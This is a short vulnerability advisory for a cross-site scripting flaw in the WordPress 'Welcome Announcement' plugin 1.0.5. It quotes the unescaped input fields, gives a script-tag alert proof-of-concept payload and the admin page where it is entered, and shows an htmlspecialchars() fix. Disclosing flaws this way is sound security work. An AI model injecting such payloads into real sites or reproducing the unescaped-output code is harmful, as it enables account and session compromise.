WordPress Welcome Announcement 1.0.5 Cross Site Scripting

`#####################  
# Exploit Title: Wordpress Welcome Announcement Cross Site Scripting  
# Exploit Author: bl4ck_mohajem  
# Vendor Homepage: https://wordpress.org/plugins/welcome-announcement/  
# Tested On: Windows7  
# Software Link:  
https://downloads.wordpress.org/plugin/welcome-announcement.1.0.5.zip  
# Version: 1.0.5  
######################  
# Vulnerable File and Codes:  
wa_options.php Lines(134-142-161-188-196-204-215-223-234-258-266)  
  
<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"  
value="<?php echo $wa_opts["cookie_name"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[cookie_expiration]'value="<?php echo  
$wa_opts["cookie_expiration"]; ?>" />  
<input class="entry" type="text" size=76  
name='wa_opts[animation_name]' value="<?php echo  
$wa_opts["animation_name"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[animation_width]' value="<?php echo  
$wa_opts["animation_width"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[animation_height]' value="<?php echo  
$wa_opts["animation_height"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[animation_bgcolor]' id="color_animation"  
onclick="showColorGrid2('color_animation','none');" value="<?php echo  
$wa_opts["animation_bgcolor"]; ?>" />  
<input class="entry" type="text" size=40 name='wa_opts[veil_bgcolor]'  
id="color_veil" onclick="showColorGrid2('color_veil','none');"  
value="<?php echo $wa_opts["veil_bgcolor"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[veil_transparency]' value="<?php echo  
$wa_opts["veil_transparency"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[fade_in_duration]' value="<?php echo  
$wa_opts["fade_in_duration"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[animation_duration]' value="<?php echo  
$wa_opts["animation_duration"]; ?>" />  
<input class="entry" type="text" size=40  
name='wa_opts[fade_out_duration]' value="<?php echo  
$wa_opts["fade_out_duration"]; ?>" />  
######################  
# Exploit :  
For test Cross site scripting can use this code in all of the above  
inputs are vulnerable.  
"><script>alert(/xss/)</script><  
Address: http://localhost/pentest/wordpress/wp-admin/themes.php?page=wa_options  
######################  
# Patch :  
To fix this vulnerability you use htmlspecialchars() function .  
<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"  
value="<?php echo htmlspecialchars($wa_opts["cookie_name"]); ?>" />  
And other lines, too.  
######################  
# tnx: Milad Hacking - n1arash - bl4ck_li0n -malah_sky  
######################  
`